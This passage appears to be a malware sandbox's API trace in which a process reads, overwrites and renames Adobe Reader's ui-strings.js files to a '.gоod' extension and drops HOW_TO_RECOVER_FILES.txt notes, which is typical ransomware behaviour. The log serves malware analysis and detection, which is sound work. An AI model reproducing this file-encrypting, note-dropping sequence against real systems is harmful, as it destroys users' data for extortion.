ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a7a0 [0272.547] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.547] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x45b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0272.547] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0272.547] FindClose (in: hFindFile=0x134a7a0 | out: hFindFile=0x134a7a0) returned 1 [0272.547] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec1a0) returned 1 [0272.547] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec160) returned 1 [0272.547] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec260) returned 1 [0272.547] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\root", nBufferLength=0x105, lpBuffer=0x208ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\root", lpFilePart=0x0) returned 0x75 [0272.547] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\root\\*", lpFindFileData=0x208ebf80 | out: lpFindFileData=0x208ebf80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b520 [0272.548] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.548] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x45b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0272.548] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x45b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0272.548] FindClose (in: hFindFile=0x134b520 | out: hFindFile=0x134b520) returned 1 [0272.548] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec1a0) returned 1 [0272.548] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec160) returned 1 [0272.548] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\root\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\root\\ui-strings.js", lpFilePart=0x0) returned 0x83 [0272.548] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec010) returned 1 [0272.548] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\root\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\root\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3a0c7d0 | out: lpFileInformation=0x3a0c7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x45b)) returned 1 [0272.548] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebfd0) returned 1 [0272.548] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\root\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208eb9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\root\\ui-strings.js", lpFilePart=0x0) returned 0x83 [0272.548] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebec0) returned 1 [0272.549] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\root\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\root\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0272.549] GetFileType (hFile=0x808) returned 0x1 [0272.549] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebe30) returned 1 [0272.549] GetFileType (hFile=0x808) returned 0x1 [0272.549] GetFileSize (in: hFile=0x808, lpFileSizeHigh=0x208ec068 | out: lpFileSizeHigh=0x208ec068*=0x0) returned 0x45b [0272.549] ReadFile (in: hFile=0x808, lpBuffer=0x3a0cfc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x208ebf98, lpOverlapped=0x0 | out: lpBuffer=0x3a0cfc8*, lpNumberOfBytesRead=0x208ebf98*=0x45b, lpOverlapped=0x0) returned 1 [0272.732] CloseHandle (hObject=0x808) returned 1 [0272.760] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\root\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208eb9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\root\\ui-strings.js", lpFilePart=0x0) returned 0x83 [0272.760] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebec0) returned 1 [0272.760] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\root\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\root\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0272.762] GetFileType (hFile=0x808) returned 0x1 [0272.762] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebe30) returned 1 [0272.762] GetFileType (hFile=0x808) returned 0x1 [0272.762] WriteFile (in: hFile=0x808, lpBuffer=0x38d15b8*, nNumberOfBytesToWrite=0x460, lpNumberOfBytesWritten=0x208ebea8, lpOverlapped=0x0 | out: lpBuffer=0x38d15b8*, lpNumberOfBytesWritten=0x208ebea8*=0x460, lpOverlapped=0x0) returned 1 [0272.763] CloseHandle (hObject=0x808) returned 1 [0272.763] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\root\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\root\\ui-strings.js", lpFilePart=0x0) returned 0x83 [0272.763] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\root\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\root\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x88 [0272.763] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebfd0) returned 1 [0272.763] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\root\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\root\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x208ec0b0 | out: lpFileInformation=0x208ec0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x9ecb10a5, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x460)) returned 1 [0272.763] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebf90) returned 1 [0272.763] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\root\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\root\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\root\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\root\\ui-strings.js.gоod")) returned 1 [0272.765] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\root\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x208ebcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\root\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x8e [0272.765] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec1d0) returned 1 [0272.765] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\root\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\root\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x808 [0272.766] GetFileType (hFile=0x808) returned 0x1 [0272.766] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec140) returned 1 [0272.766] GetFileType (hFile=0x808) returned 0x1 [0272.766] WriteFile (in: hFile=0x808, lpBuffer=0x38d4eb0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x208ec298, lpOverlapped=0x0 | out: lpBuffer=0x38d4eb0*, lpNumberOfBytesWritten=0x208ec298*=0x5d0, lpOverlapped=0x0) returned 1 [0272.767] CloseHandle (hObject=0x808) returned 1 [0272.767] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec260) returned 1 [0272.768] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ru-ru", nBufferLength=0x105, lpBuffer=0x208ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ru-ru", lpFilePart=0x0) returned 0x76 [0272.768] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ru-ru\\*", lpFindFileData=0x208ebf80 | out: lpFindFileData=0x208ebf80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b3a0 [0272.768] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.768] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0272.768] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0272.768] FindClose (in: hFindFile=0x134b3a0 | out: hFindFile=0x134b3a0) returned 1 [0272.768] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec1a0) returned 1 [0272.769] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec160) returned 1 [0272.769] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec260) returned 1 [0272.769] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ru-ru", nBufferLength=0x105, lpBuffer=0x208ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ru-ru", lpFilePart=0x0) returned 0x76 [0272.769] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ru-ru\\*", lpFindFileData=0x208ebf80 | out: lpFindFileData=0x208ebf80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ada0 [0272.769] FindNextFileW (in: hFindFile=0x134ada0, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.769] FindNextFileW (in: hFindFile=0x134ada0, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0272.769] FindNextFileW (in: hFindFile=0x134ada0, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0272.769] FindClose (in: hFindFile=0x134ada0 | out: hFindFile=0x134ada0) returned 1 [0272.769] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec1a0) returned 1 [0272.769] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec160) returned 1 [0272.770] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ru-ru\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ru-ru\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0272.770] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec010) returned 1 [0272.770] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ru-ru\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ru-ru\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x38e4d88 | out: lpFileInformation=0x38e4d88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4b0)) returned 1 [0272.770] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebfd0) returned 1 [0272.770] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ru-ru\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208eb9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ru-ru\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0272.770] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebec0) returned 1 [0272.770] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ru-ru\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ru-ru\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0272.770] GetFileType (hFile=0x808) returned 0x1 [0272.770] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebe30) returned 1 [0272.770] GetFileType (hFile=0x808) returned 0x1 [0272.770] GetFileSize (in: hFile=0x808, lpFileSizeHigh=0x208ec068 | out: lpFileSizeHigh=0x208ec068*=0x0) returned 0x4b0 [0272.770] ReadFile (in: hFile=0x808, lpBuffer=0x38e55e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x208ebf98, lpOverlapped=0x0 | out: lpBuffer=0x38e55e0*, lpNumberOfBytesRead=0x208ebf98*=0x4b0, lpOverlapped=0x0) returned 1 [0274.087] CloseHandle (hObject=0x808) returned 1 [0274.132] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ru-ru\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208eb9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ru-ru\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0274.132] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebec0) returned 1 [0274.132] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ru-ru\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ru-ru\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0274.142] GetFileType (hFile=0x808) returned 0x1 [0274.142] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebe30) returned 1 [0274.142] GetFileType (hFile=0x808) returned 0x1 [0274.142] WriteFile (in: hFile=0x808, lpBuffer=0x3a96ba8*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x208ebea8, lpOverlapped=0x0 | out: lpBuffer=0x3a96ba8*, lpNumberOfBytesWritten=0x208ebea8*=0x4c0, lpOverlapped=0x0) returned 1 [0274.143] CloseHandle (hObject=0x808) returned 1 [0274.143] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ru-ru\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ru-ru\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0274.143] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ru-ru\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ru-ru\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x89 [0274.143] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebfd0) returned 1 [0274.143] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ru-ru\\ui-strings.js" (normalized: "c:\\program files 